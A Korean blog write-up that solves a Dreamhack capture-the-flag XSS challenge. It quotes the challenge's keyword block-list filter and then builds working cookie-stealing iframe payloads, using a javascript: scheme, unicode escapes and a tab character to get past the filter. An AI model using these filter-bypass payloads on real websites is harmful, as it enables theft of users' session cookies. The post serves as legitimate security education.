포스트

XSS 필터링 우회

드림핵 434번을 풀면서 XSS를 우회하는 방법을 알아본다

XSS 필터링 우회

Dreamhack #434 - XSS Filtering Bypass Advanced

Image

vuln(xss) page, memo, flag 세 개의 페이지가 있다

vuln(xss) page에 들어가면 /vuln?param=%3Cimg%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg%3E로 리다이렉트된다
URL 디코딩을 해보면 /vuln?param=<img src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>이다


1
2
3
4
5
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

param 파라미터에 페이로드를 받고 xss_filter() 함수로 필터링 과정을 거치는 것 같다


1
2
3
4
5
6
7
8
9
10
11
12
def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

xss_filter()에서는 웬만한 키워드들은 전부 필터링하고 있다
문제 제목이 XSS Bypass이니 이 필터를 우회해야 하는데 벌써부터 막막하다..

천천히 정리부터 해보면 /vulnparam으로 페이로드가 들어가면 필터링 작업이 진행된다
필터에 걸리면 “filtered!!!” 문구를 출력한다


Image

다음으로 memo 페이지를 확인해보자
들어가면 /memo?memo=hello 경로로 리다이렉트되는데 새로고침을 할 때마다 필드에 hello라는 문자열이 추가되는 것으로 보아 memo 파라미터로 받는 문자열을 필드에 적는 것을 알 수 있다


1
2
3
4
5
6
7
8
memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

코드에서도 확인할 수 있다
아마 플래그가 이 필드에 적히도록 memo 파라미터에 플래그가 들어가도록 해야 하지 않을까 싶다..


Image

flag 페이지에는 폼과 제출 버튼이 있다
외관상 로컬호스트에서 vuln?param=으로 파라미터 값을 집어넣을 수 있는 것 같다
제출을 눌렀을 때 어떻게 동작하는지는 직접 코드를 봐야 알 것 같다


1
2
3
4
5
6
7
8
9
10
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

폼에 값을 입력하고 제출을 누르면 POST 요청이 간다

param에 입력값을 저장하고 check_xss() 함수에 인자로 함께 보낸다
인자로는 플래그 값이 포함된 딕셔너리가 함께 전달된다


1
2
3
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

check_xss()에서 인자로 전달되는 딕셔너리는 cookie라는 이름으로 들어간다

로컬호스트에서 /vuln?param={urllib.parse.quote(param)} URL 경로가 cookie와 함께 read_url()로 전달된다


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

문제 파일을 Docker로 안전하게 빌드하기 위해 코드를 약간 수정했지만 풀이 방향은 같다

read_url() 함수는 셀레니움을 사용하여 로컬호스트에서 쿠키를 달고 url에 방문한다


천천히 정리해보고 뭘 해야 할 지 생각해보자
플래그를 찾아내는 것이 최종 목표이다

플래그는 flag 페이지에서 제출 버튼을 눌렀을 때 서버의 백그라운드에서 플래그가 저장된 쿠키를 가지고 특정 URL로 이동한다

그 특정 URL에서 XSS든 뭐든 뭐 어떻게 해가지고 서버가 쿠키를 memo에 적도록 만들어야 한다
그러려면 필터링 우회하는 과정은 필수적이고 이게 문제의 본질인 것이다


우회

vuln 페이지에 들어가 주소창에서 param 파라미터 값을 주면서 진행해볼 수도 있을 것 같다
하지만 /vuln에서 쓰이는 함수인 xss_filter()가 플래그와 관련되어 있지는 않다..

사용하게 된다면 필터링 우회 검증용으로 쓰일지도 모르겠다
플래그를 들고 작동하는게 flag 페이지 뿐이라서 그곳에서 무언갈 해야하는 것 같다


1
2
3
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

flag 페이지에서 폼을 입력받으면 urllib.parse.quote() 함수로 보내진다

해당 함수는 %xx 이스케이프를 사용하여 문자열의 특수 문자를 치환한다
글자, 숫자, 일부 문자(_, ., -, ~)는 치환되지 않는다
예를 들어, quote("/Spa ce")/Spa%20ce로 치환된다

그렇게 param 파라미터 값을 받고 나면 그 값이 xss_filter()로 들어가서 필터링이 된다
필터링이 되지 않도록 param에 적절한 페이로드를 작성해서 셀레니움이 /memo?memo={쿠키}로 이동하게 하여 memo 페이지에 쿠키를 써지도록 하면 되겠다


1
location.href='/memo?memo='+parent.document.cookie;

쿠키를 갖고 특정 페이지로 이동할 수 있도록 하는 자바스크립트 코드를 로드할 수 있도록 하면 되겠다



풀이

iframe src 사용

iframe 태그를 사용하여 자바스크립트 코드를 실행할 수 있다
속성으로 src가 들어가는데 삽입할 페이지의 URL이 들어간다

악의적인 자바스크립트가 들어있는 페이지를 만들고 그 페이지의 URL을 줘볼까??
하지만 이러면 쿠키를 받아올 수 없다..
설령 가져올 수 있다고 해도 SOP나 CSP 등 정책까지 우회해야 한다


1
<iframe src="javascript:alert('1')">

src에 URL이 아닌 javascript: 스킴을 주면 URL로 인식하지 않고 자바스크립트 코드로 인식하여 실행하게 된다

본 블로그의 좌측 하단 이메일 아이콘에 커서를 올려두면 URL이 아니라 javascript:로 시작하는 경로가 나올 것이다
<a href="javascript:">
클릭해보면 페이지로 이동하지 않고 지정된 스크립트를 실행하는데 이와 같은 원리이다


1
<iframe src="javascript:location.href='/memo?memo='+parent.document.cookie">

이런 페이로드를 보내면 될 것 같다
하지만 필터링까지 우회해야 한다

parent

iframe은 문서 내에 문서를 하나 더 삽입하는 것인데 자식 문서가 부모 문서의 쿠키를 가져오도록 parent를 사용한다
하지만 본 문제에서는 크로미움 셀레니움이 사용되는데 자식 문서가 부모 문서를 상속하여 쿠키 참조가 가능하기 때문에 parent 없이 document.cookie만 사용해도 된다



1
locati\u006fn.href='memo?memo='+d\u006fcument.cookie

자바스크립트에서는 이스케이프 시퀀스로 특수문자나 입력 불가능한 문자를 표현하기도 한다
16진수로 표시된 유니코드 문자 \u006f는 문자 o로 해석되서 locati\u006f는 실행될 때 location으로 인식된다

어찌됐든 인자로는 locati\u006fn으로 들어가고 실행될 때는 location과 같은 동작을 한다
때문에 자바스크립트의 유니코드 이스케이프 시퀀스를 통해서 필터링을 우회할 수 있다


1
<iframe src="javascript:locati\u006fn.href='/memo?memo='+parent.d\u006fcument.cookie">

대신 여전히 javascript:가 필터링에 걸린다
javascript:는 자바스크립트 코드가 아닌 자바스크립트 스킴이기 때문에 유니코드 문자를 사용한 우회가 불가능하다


1
<iframe src="java   script:location.href='/memo?memo='+parent.document.cookie">

URL에서 ASCII 제어 문자 0x00-0x1f는 사용할 수 없다
urllib.parse는 URL의 탭 문자를 제거한다

때문에 탭 문자를 입력으로 주면 필터링에 걸리지 않고 실행될 때는 탭 문자가 제거되어서 우리가 원하는 동작을 수행하게 된다

참고로 탭 문자는 제어 문자이기 때문에 주소창에서 직접 탭 문자를 주는 것은 불가능하다
때문에 flag 페이지의 폼을 이용하여 탭 문자를 포함해 보내면 된다
(애초에 flag 페이제를 사용해야만 풀 수 있다)


Image

그러면 memo 페이지에 플래그가 출력된다
굳이 memo가 아니라 드림핵 리퀘스트 서버 같은 곳으로 보내도 되긴 한다

iframe 말고 img 태그로 onerror를 사용할 수는 없을까??

iframe은 문서(document)를 로드한다
때문에 srcjavacript: 스킴을 넣으면 자바스크립트 문서를 넣는 것처럼 동작하게 된다

img는 이미지 파일 등 리소스를 로드하는 태그이기 때문에 srcjavascript: 스킴이 들어오면 무시하거나 에러 처리를 한다



이 게시글은 저작권자의 CC BY 4.0 라이센스를 따릅니다.